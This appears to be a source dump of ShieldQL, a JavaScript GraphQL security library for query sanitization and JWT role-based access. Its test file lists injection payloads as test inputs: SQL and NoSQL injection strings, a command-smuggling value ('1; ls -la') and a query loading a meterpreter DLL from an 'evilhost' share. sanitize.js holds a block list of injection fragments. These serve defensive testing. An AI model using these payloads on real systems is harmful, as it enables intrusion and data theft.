(a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in query'; 110 | // shortQuery is a short mock query string (< 2000 characters) 111 | const shortQuery = 112 | 'init sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in query'; 113 | // should throw error if query is longer than default (2000 characters) when default parameters are used (no arg is passed in for maxLength) 114 | expect(() => sanitize(longQuery)).toThrowError(); 115 | expect(() => sanitize(shortQuery)).not.toThrowError(); 116 | }); 117 | it('Should allow user to customize length limit', () => { 118 | // init mock longQuery (>2000 characters) 119 | const longQuery = 120 | 'init sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in queryinit sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in query'; 121 | // init mock shortQuery (~400 characters) 122 | const shortQuery = 123 | 'init sanitize, a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in query'; 124 | // should only throw error if query length is greater than passed-in user argument for maxLength 125 | expect(() => sanitize(longQuery, false, 10, 4000)).not.toThrowError(); 126 | expect(() => sanitize(shortQuery, false, 10, 200)).toThrowError(); 127 | }); 128 | it('Should not throw errors when queries with potentially malicious fragments are invoked during non-strict mode', () => { 129 | // init arr of dangerousQueries (strings) 130 | const dangerousQueries = [ 131 | `query { 132 | users(search: "{\"email\": {\"$gte\": \"\"}}", 133 | options: "{\"fields\": {}}") { 134 | _id 135 | username 136 | fullname 137 | email 138 | } 139 | }`, 140 | `SELECT * from customers where id='1233' OR 2=2—'`, 141 | `mutation { 142 | createPaste(title:"

hello!

", content:"zzzz", public:true) { 143 | paste { 144 | id 145 | } 146 | } 147 | }`, 148 | `query { 149 | customer(id: "22371' OR 1=1–") { 150 | name, 151 | email, 152 | address, 153 | contact 154 | } 155 | } `, 156 | `query { 157 | users(search: "{\"username\": {\"$regex\": \"jan\"}, \"email\": {\"$regex\": \"jan\"}}", 158 | options: "{\"skip\": 0, \"limit\": 10}") { 159 | _id 160 | username 161 | fullname 162 | email 163 | } 164 | }`, 165 | `query { 166 | users(search: "{\"email\": {\"$gte\": \"\"}}", 167 | options: "{\"fields\": {}}") { 168 | _id 169 | username 170 | fullname 171 | email 172 | } 173 | }`, 174 | `query { 175 | user(username: "*") { 176 | name 177 | email 178 | groups 179 | } 180 | }`, 181 | `query { 182 | getUser(id: "1; ls -la") { 183 | name 184 | email 185 | } 186 | }`, 187 | `query { 188 | getComment(id: "1") { 189 | user 190 | comment: "" 191 | } 192 | }`, 193 | `query { 194 | getComment(id: "1") { 195 | user 196 | comment: "" 197 | } 198 | }`, 199 | `UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');-- 200 | `, 201 | ]; 202 | // sanitize should not throw an error if a query with a potentially malicious fragment is passed in and strict mode is off 203 | dangerousQueries.forEach((maliciousQuery) => { 204 | expect(() => sanitize(maliciousQuery)).not.toThrowError(); 205 | }); 206 | }); 207 | it('Should throw errors when queries with potentially malicious fragments are invoked during strict mode', () => { 208 | // init arr of dangerousQueries (strings) 209 | const dangerousQueries = [ 210 | `query { 211 | users(search: "{\"email\": {\"$gte\": \"\"}}", 212 | options: "{\"fields\": {}}") { 213 | _id 214 | username 215 | fullname 216 | email 217 | } 218 | }`, 219 | `SELECT * from customers where id='1233' OR 2=2—'`, 220 | `mutation { 221 | createPaste(title:"

hello!

", content:"zzzz", public:true) { 222 | paste { 223 | id 224 | } 225 | } 226 | }`, 227 | `query { 228 | customer(id: "22371' OR 1=1–") { 229 | name, 230 | email, 231 | address, 232 | contact 233 | } 234 | } `, 235 | `query { 236 | users(search: "{\"username\": {\"$regex\": \"jan\"}, \"email\": {\"$regex\": \"jan\"}}", 237 | options: "{\"skip\": 0, \"limit\": 10}") { 238 | _id 239 | username 240 | fullname 241 | email 242 | } 243 | }`, 244 | `query { 245 | users(search: "{\"email\": {\"$gte\": \"\"}}", 246 | options: "{\"fields\": {}}") { 247 | _id 248 | username 249 | fullname 250 | email 251 | } 252 | }`, 253 | `query { 254 | user(username: "*") { 255 | name 256 | email 257 | groups 258 | } 259 | }`, 260 | `query { 261 | getUser(id: "1; ls -la") { 262 | name 263 | email 264 | } 265 | }`, 266 | `query { 267 | getComment(id: "1") { 268 | user 269 | comment: "" 270 | } 271 | }`, 272 | `query { 273 | getComment(id: "1") { 274 | user 275 | comment: "" 276 | } 277 | }`, 278 | `UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');-- 279 | `, 280 | ]; 281 | // sanitize should throw an error if a query with a potentially malicious fragment is passed in and strict mode is on 282 | dangerousQueries.forEach((maliciousQuery) => { 283 | expect(() => sanitize(maliciousQuery, true)).toThrowError(); 284 | }); 285 | }); 286 | }); 287 | -------------------------------------------------------------------------------- /__testing__/shieldql.json: -------------------------------------------------------------------------------- 1 | { 2 | "Rock": { 3 | "query": ["."], 4 | "mutation": ["."] 5 | }, 6 | "Paper": { 7 | "query": ["."], 8 | "mutation": ["."] 9 | }, 10 | "Scissors": { 11 | "query": ["."] 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /__testing__/shieldqlConfig.test.js: -------------------------------------------------------------------------------- 1 | // import file system and path functionality 2 | const fs = require('fs'); 3 | const path = require('path'); 4 | // import parse functionality from envfile library 5 | const { parse } = require('envfile'); 6 | // import shieldqlConfig function 7 | const { shieldqlConfig } = require('../shieldqlConfig.js'); 8 | 9 | // load env variables onto process.env object 10 | require('dotenv').config(); 11 | // init const envSource as path to test env file 12 | const envSource = path.resolve(__dirname, './.env'); 13 | 14 | describe('shieldqlConfig unit tests', () => { 15 | // clear env file contents 16 | beforeEach(() => { 17 | fs.writeFile(envSource, '', (err) => { 18 | if (err) throw `Error clearing env file: ${err}`; 19 | }); 20 | }); 21 | // once all tests are done, delete test env file 22 | afterEach(() => { 23 | // create new env file 24 | fs.writeFileSync(envSource, '', (err) => { 25 | if (err) throw `Error clearing env file: ${err}`; 26 | }); 27 | }); 28 | 29 | it('should not add a new refresh token secret if one already exists in the env file', async () => { 30 | // init variables prevRefreshSecret and nextRefreshSecret 31 | let prevRefreshSecret, nextRefreshSecret; 32 | // read env file 33 | fs.readFileSync(envSource, 'utf8', (err, data) => { 34 | // if error reading file log error 35 | if (err) 36 | console.log('Error reading env file at shieldqlConfig.test.js:', err); 37 | // init const prevEnv to store parsed (into JS object) env file contents 38 | const prevEnv = parse(data); 39 | // reassign prevRefreshSecret to current refresh secret in .env file 40 | prevRefreshSecret = prevEnv['REFRESH_TOKEN_SECRET']; 41 | }); 42 | // invoke shieldqlConfig to test if it updates the refresh token property in the env file 43 | shieldqlConfig(); 44 | // read env file again 45 | fs.readFileSync(envSource, 'utf8', async (err, data) => { 46 | if (err) console.log(err); 47 | // init const nextEnv to store parsed (into JS object) env file contents 48 | const nextEnv = await parse(data); 49 | // reassign nextRefreshSecret to current refresh secret in .env file 50 | nextRefreshSecret = nextEnv['REFRESH_TOKEN_SECRET']; 51 | }); 52 | // there should not be a change in the refresh secret stored in the .env file 53 | expect(nextRefreshSecret).toEqual(prevRefreshSecret); 54 | }); 55 | it('should not modify process.env value of refresh token secret', () => { 56 | let prevProcessEnv = process.env.REFRESH_TOKEN_SECRET; 57 | shieldqlConfig(); 58 | expect(prevProcessEnv).toEqual(process.env.REFRESH_TOKEN_SECRET); 59 | }); 60 | xit('should create new secrets in env file if none existed before', () => {}); 61 | xit('should update secrets for each role', () => {}); 62 | }); 63 | -------------------------------------------------------------------------------- /__testing__/validateUser.test.js: -------------------------------------------------------------------------------- 1 | // A testing suite for validateUser is a key area for future development 2 | 3 | // describe('validateUser unit tests', () => { 4 | // // 5 | // }); 6 | -------------------------------------------------------------------------------- /assets/sample_directory.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oslabs-beta/ShieldQL/0fac5498dfa035b4a1c729ce17b0962e486b8874/assets/sample_directory.png -------------------------------------------------------------------------------- /assets/sample_directory2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oslabs-beta/ShieldQL/0fac5498dfa035b4a1c729ce17b0962e486b8874/assets/sample_directory2.png -------------------------------------------------------------------------------- /assets/shieldQL.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oslabs-beta/ShieldQL/0fac5498dfa035b4a1c729ce17b0962e486b8874/assets/shieldQL.png -------------------------------------------------------------------------------- /loginLink.js: -------------------------------------------------------------------------------- 1 | const jwt = require('jsonwebtoken'); 2 | 3 | // loginLink is an Express middleware function that authenticates the client, creates a jwt access token, and stores it as a cookie on the client's browser to authorize future graphQL queries and mutations aligned with the user's role-based permissions described in the shieldql.json file 4 | const loginLink = (req, res, next) => { 5 | const secretToken = `ACCESS_TOKEN_${res.locals.role.toUpperCase()}_SECRET`; 6 | try { 7 | // create access token based on role passed via res.locals 8 | const accessToken = jwt.sign( 9 | { role: res.locals.role }, 10 | process.env[secretToken], 11 | { expiresIn: '1d' } 12 | ); 13 | // set new cookie with access token 14 | res.cookie('accessToken', accessToken, { 15 | httpOnly: true, 16 | secure: true, 17 | }); 18 | // move on to next step in middleware chain 19 | return next(); 20 | // if there is an error, invoke the global error handler 21 | } catch (err) { 22 | return next({ 23 | log: `ROLE NOT FOUND. Express error: ${err}`, 24 | status: 404, 25 | message: { err: 'INVALID USER' }, 26 | }); 27 | } 28 | }; 29 | 30 | // export loginLink 31 | module.exports = { loginLink }; 32 | -------------------------------------------------------------------------------- /main.js: -------------------------------------------------------------------------------- 1 | const { loginLink } = require('./loginLink'); 2 | const { sanitizeQuery } = require('./sanitizeQuery'); 3 | const { shieldqlConfig } = require('./shieldqlConfig'); 4 | const { validateUser } = require('./validateUser'); 5 | 6 | // our main.js file imports all of our library's functionality for export 7 | module.exports = { 8 | validateUser, 9 | loginLink, 10 | sanitizeQuery, 11 | shieldqlConfig, 12 | }; 13 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "shieldql", 3 | "private": false, 4 | "version": "1.0.0", 5 | "type": "commonjs", 6 | "scripts": { 7 | "test": "jest --detectOpenHandles" 8 | }, 9 | "devDependencies": { 10 | "@types/express": "^4.17.17", 11 | "jest": "^29.6.0" 12 | }, 13 | "dependencies": { 14 | "dotenv": "^16.3.1", 15 | "dotenv-cli": "^7.2.1", 16 | "envfile": "^6.18.0", 17 | "jsonwebtoken": "^9.0.1", 18 | "path": "^0.12.7", 19 | "express": "^4.18.2" 20 | }, 21 | "description": "A lightweight JavaScript library for GraphQL that adds authentication, authorization, and query sanitization to prevent malicious queries and injection attacks.", 22 | "main": "main.js", 23 | "repository": { 24 | "type": "git", 25 | "url": "git+https://github.com/oslabs-beta/ShieldQL.git" 26 | }, 27 | "keywords": [ 28 | "shieldql", 29 | "graphql", 30 | "security", 31 | "safergraphql", 32 | "safety", 33 | "cybersecurity", 34 | "auth", 35 | "authorization", 36 | "authentication", 37 | "querysanitization", 38 | "query", 39 | "sanitization", 40 | "secure", 41 | "shield", 42 | "protect", 43 | "insure", 44 | "safer", 45 | "safest" 46 | ], 47 | "author": "Rodrigo Calderon, Simran Kaur, Xin Jin Qiu, Siful Siddiki, Joie Zhang", 48 | "license": "ISC", 49 | "bugs": { 50 | "url": "https://github.com/oslabs-beta/ShieldQL/issues" 51 | }, 52 | "homepage": "https://github.com/oslabs-beta/ShieldQL#readme" 53 | } 54 | -------------------------------------------------------------------------------- /sanitize.js: -------------------------------------------------------------------------------- 1 | // sanitize is a function that accepts 4 params input (required, a graphQL query type string), strict (a bool value, default false, that enables additional query sanitization), maxDepth (the maximum query nesting depth permitted, type integer), and maxLength (maximum permitted query length, type integer) that users will require and invoke in their applications to sanitize the passed-in query. 2 | // Can be used as a standalone function and is also invoked within the body of the sanitizeQuery function 3 | const sanitize = (input, strict = false, maxDepth = 10, maxLength = 2000) => { 4 | // validate input type is string 5 | if (typeof input !== 'string') throw new Error('input must be a string'); 6 | // check if input is more deeply nested than maxDepth 7 | deepLimit(input, maxDepth); 8 | // check if input is longer than maxLength 9 | lengthLimit(input, maxLength); 10 | // if function is being run on strict mode 11 | if (strict && strict !== 'false') { 12 | // init const blockList as arr of potentially malicious fragments (strings) 13 | const blockList = [ 14 | // common SQL injection fragments 15 | '1=1', 16 | `' OR`, 17 | 'select sqlite_version()', 18 | '@@version', 19 | 'DROP TABLE', 20 | 'UNION SELECT null', 21 | 'SELECT sql FROM sqlite_schema', 22 | `SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'`, 23 | // common HTML injection fragments 24 | '', 26 | 'script ', 27 | ' script ', 28 | // dangerous characters 29 | '<', 30 | '>', 31 | '-', 32 | '/', 33 | "'", 34 | `{"`, 35 | `"{`, 36 | `}"`, 37 | `*`, 38 | `"}`, 39 | `\\`, 40 | `{\\`, 41 | // log spoofing 42 | `%`, 43 | // PHP code insertion 44 | 'php', 45 | ]; 46 | // iterate through each string in blockList 47 | for (const str of blockList) { 48 | // if input (query) contains a potentially malicious fragment, throw new error 49 | if (input.includes(str)) 50 | throw new Error(`potentially malicious string detected:, ${str}`); 51 | } 52 | } 53 | // if no potential threats are detected, return the input query string 54 | return input; 55 | }; 56 | 57 | // deepLimit is a function that accepts two params, input (a JSON string graphQL query) and depth (a number value) and throws an error if the passed-in input has a depth greater than depth, else returns input 58 | const deepLimit = (input, depth) => { 59 | // init const stack as an empty array 60 | const stack = []; 61 | // iterate through the input array 62 | for (let i = 0; i < input.length; i++) { 63 | if (stack.length > depth) 64 | throw new Error( 65 | 'Maximum query depth exceeded, modify query or maximum permitted query depth' 66 | ); 67 | const el = input[i]; 68 | // if the element is '{' push it to the stack 69 | if (el === '{') stack.push(el); 70 | } 71 | return input; 72 | }; 73 | 74 | // init helper func lengthLimit that accepts two params, input (a JSON string graphQL query) and length (a number value) and throws an error if the passed-in input has a length greater than length, else returns input 75 | const lengthLimit = (input, length) => { 76 | // if input length exceeds passed-in param length, throw new Error 77 | if (input.length > length) 78 | throw new Error( 79 | 'Maximum query length exceeded, modify query or maximum permitted query length' 80 | ); 81 | // if input depth is within the permitted limits, return input 82 | return input; 83 | }; 84 | 85 | module.exports = { sanitize }; 86 | -------------------------------------------------------------------------------- /sanitizeQuery.js: -------------------------------------------------------------------------------- 1 | const { sanitize } = require('./sanitize.js'); 2 | 3 | // sanitizeQuery is an Express middleware function users will require and invoke in their applications to sanitize graphQL queries 4 | const sanitizeQuery = async (req, res, next) => { 5 | try { 6 | // Enforce string type for req.body.query 7 | if (typeof req.body.query !== 'string') { 8 | return next({ 9 | log: `Error at shieldQL sanitizeQuery, req.body.query must be a string`, 10 | status: 500, 11 | message: 'Internal server error', 12 | }); 13 | } 14 | // build graphqlQuery string for sanitization by combining req.body.query with req.body.variables 15 | let graphqlQuery = req.body.query; 16 | // remove the beginning and ending brackets from the stringified JSON object to avoid unnecessarily triggering {" in blocklist 17 | if (req.body.variables) graphqlQuery += JSON.stringify(req.body.variables).slice(1, -1); 18 | 19 | // init paramsArr, an array that will store all args to be passed into the sanitize helper function, with single element input query 20 | const paramsArr = [graphqlQuery]; 21 | 22 | // check if result (the .env file) contains any params for strict, maxLength, and maxDepth 23 | paramsArr.push( 24 | process.env.strictShieldQL ? process.env.strictShieldQL : false 25 | ); 26 | paramsArr.push( 27 | process.env.maxDepthShieldQL ? process.env.maxDepthShieldQL : 10 28 | ); 29 | paramsArr.push( 30 | process.env.maxLengthShieldQL ? process.env.maxLengthShieldQL : 2000 31 | ); 32 | 33 | // reassign query property of req.body to the sanitized query with passed-in config from env file 34 | graphqlQuery = sanitize(...paramsArr); 35 | 36 | // move to next link in middleware chain 37 | return next(); 38 | 39 | // if error sanitizing query, invoke global error handler 40 | } catch (err) { 41 | return next({ 42 | log: `Error at shieldQL sanitizeQuery while sanitizing query: ${err}`, 43 | status: 406, 44 | message: 'There is something wrong with this query', 45 | }); 46 | } 47 | }; 48 | 49 | // export sanitizeQuery 50 | module.exports = { sanitizeQuery }; 51 | -------------------------------------------------------------------------------- /shieldqlConfig.js: -------------------------------------------------------------------------------- 1 | // import file system, path, and encryption functionality 2 | const fs = require('fs'); 3 | const path = require('path'); 4 | const encrypt = require('crypto'); 5 | // import parse and stringify functionality from envfile library 6 | const { parse, stringify } = require('envfile'); 7 | 8 | // initialize as envSource the path to the env file (or test file) depending on whether tests are being run 9 | const envSource = 10 | process.env.NODE_ENV === 'test' 11 | ? path.resolve(__dirname, './__testing__/.env') 12 | : path.resolve(__dirname, '../../.env'); 13 | 14 | // import object containing user-configured GraphQL roles and corresponding permissions from the shieldql.json file as permissions 15 | const permissions = 16 | process.env.NODE_ENV === 'test' 17 | ? require(path.resolve(__dirname, './__testing__/shieldql.json')) 18 | : require(path.resolve(__dirname, '../../shieldql.json')); 19 | 20 | // shieldqlConfig is a function that accepts 3 params: strictShieldQL (bool), maxDepthShieldQL (number), maxLengthShieldQL (number) and creates new secrets and sanitizeQuery params properties in both the env file and the process.env object 21 | const shieldqlConfig = ( 22 | strictShieldQL = false, 23 | maxDepthShieldQL = 10, 24 | maxLengthShieldQL = 2000 25 | ) => { 26 | // init const roles as array of uppercase strings (keys of permissions obj) describing permissions for each role in the shieldql file 27 | const roles = Object.keys(permissions).map( 28 | (role) => `ACCESS_TOKEN_${role.toUpperCase()}_SECRET` 29 | ); 30 | 31 | // read env file 32 | fs.readFile(envSource, 'utf8', (err, data) => { 33 | // if error reading file log error 34 | if (err) return console.log('Error at shieldqlConfig:', err); 35 | // init const newEnv to store parsed (into JS object) env file contents 36 | const newEnv = parse(data); 37 | // for each role in the shieldql.json file, generate and store a secret as the value corresponding to each role from shieldql.json 38 | roles.forEach((role) => { 39 | // generate new secret 40 | const secret = encrypt.randomBytes(64).toString('hex'); 41 | // store role and secret as key value pairs in the process.env obj (which was assigned to env variables at start and needs to be updated going forward) and the new env file (the newEnv obj) 42 | process.env[role] = newEnv[role] = secret; 43 | }); 44 | // add each passed-in arg as a value in both the new .env file and the process.env object 45 | process.env.strictShieldQL = newEnv.strictShieldQL = strictShieldQL; 46 | process.env.maxDepthShieldQL = newEnv.maxDepthShieldQL = maxDepthShieldQL; 47 | process.env.maxLengthShieldQL = newEnv.maxLengthShieldQL = 48 | maxLengthShieldQL; 49 | // if refresh token secret doesn't already exist in the env file, create new refresh token secret 50 | if (!newEnv['REFRESH_TOKEN_SECRET']) { 51 | const secret = encrypt.randomBytes(64).toString('hex'); 52 | // add secret and string 'REFRESH_TOKEN_SECRET' as key-value pairs 53 | process.env['REFRESH_TOKEN_SECRET'] = newEnv['REFRESH_TOKEN_SECRET'] = 54 | secret; 55 | } 56 | // update env file with new secrets 57 | fs.writeFile(envSource, stringify(newEnv), (err) => { 58 | // if unsuccessful log error, else log confirmation message 59 | err 60 | ? console.log('Error updating env file at shieldqlConfig:', err) 61 | : console.log('ShieldQL successfully configured'); 62 | }); 63 | }); 64 | }; 65 | 66 | // export shieldqlConfig 67 | module.exports = { shieldqlConfig }; 68 | -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "forceConsistentCasingInFileNames": true, 4 | "strict": true, 5 | "target": "ES6", 6 | "module": "CommonJS", 7 | "esModuleInterop": true, 8 | "noImplicitAny": true 9 | }, 10 | "include": ["./TypeScript/**/*"] 11 | } 12 | -------------------------------------------------------------------------------- /validateUser.js: -------------------------------------------------------------------------------- 1 | const jwt = require('jsonwebtoken'); 2 | const path = require('path'); 3 | const permissions = require(path.resolve(__dirname, '../../shieldql.json')); 4 | 5 | // validateUser is an Express middleware function that verifies that the client making a graphQL query or mutation is authorized to do so through jwt verification 6 | // this function assumes that res.locals.role has already been populated with the user's role (that matches roles defined in the shieldql.json file) by a previous middleware function 7 | const validateUser = async (req, res, next) => { 8 | // pull out access token from cookies 9 | const accessToken = req.cookies.accessToken; 10 | 11 | let token; 12 | try { 13 | token = await jwt.decode(accessToken); 14 | } catch (err) { 15 | return next({ 16 | log: `Express error during validateUser when decoding accessToken: ${err}`, 17 | status: 500, 18 | message: { err: 'INVALID USER' }, 19 | }); 20 | } 21 | 22 | const secret = 23 | process.env[`ACCESS_TOKEN_${token.role.toUpperCase()}_SECRET`]; 24 | 25 | // verify token using role 26 | // result payload comes back as an object with roles and username as keys 27 | jwt.verify(accessToken, secret, (err, decoded) => { 28 | // if verification fails, send error 29 | if (err) { 30 | return next({ 31 | log: `Express error during validateUser: ${err}`, 32 | status: 400, 33 | message: { err: 'INVALID USER' }, 34 | }); 35 | } 36 | 37 | // verification valid, meaning that jwt is a valid jwt we created 38 | // now check if client's query is appropriate based on their role 39 | const query = req.body.query; 40 | 41 | // parsing query to get operation word: query or mutation 42 | let operation = query.split('{\n')[0].trim().split(' ')[0]; 43 | // or, if query notation excludes the word "query" 44 | if (!operation) operation = 'query'; 45 | 46 | const fieldString = query.split('{\n')[1].trim(); 47 | let field = ''; 48 | // traverse fieldString until the first opening bracket or parenthesis to identify the query type 49 | for (let i = 0; i < fieldString.length; i++) { 50 | // accumulate to the field 51 | if ( 52 | fieldString[i] === ' ' || 53 | fieldString[i] === '(' || 54 | fieldString[i] === '{' 55 | ) 56 | break; 57 | field += fieldString[i]; 58 | } 59 | // if the user role was not included on the shieldql.json file, invoke global error handler 60 | if (!permissions[decoded.role]) { 61 | return next({ 62 | log: 'Express error: user role does not exist on the shieldql.json file', 63 | status: 500, 64 | message: { err: 'INVALID AUTHORIZATION' }, 65 | }); 66 | } 67 | 68 | const fieldArray = permissions[decoded.role][operation]; 69 | // global error handler is triggered if the client request includes an unauthorized operation or unauthorized field 70 | if ( 71 | !fieldArray || 72 | (!fieldArray.includes('.') && !fieldArray.includes(field)) 73 | ) { 74 | return next({ 75 | log: 'Express error: USER DOES NOT HAVE VALID PERMISSIONS', 76 | status: 401, 77 | message: { err: 'INVALID AUTHORIZATION' }, 78 | }); 79 | } 80 | // if no errors exist, move on to next link in Express middleware chain 81 | return next(); 82 | }); 83 | }; 84 | 85 | module.exports = { validateUser }; 86 | --------------------------------------------------------------------------------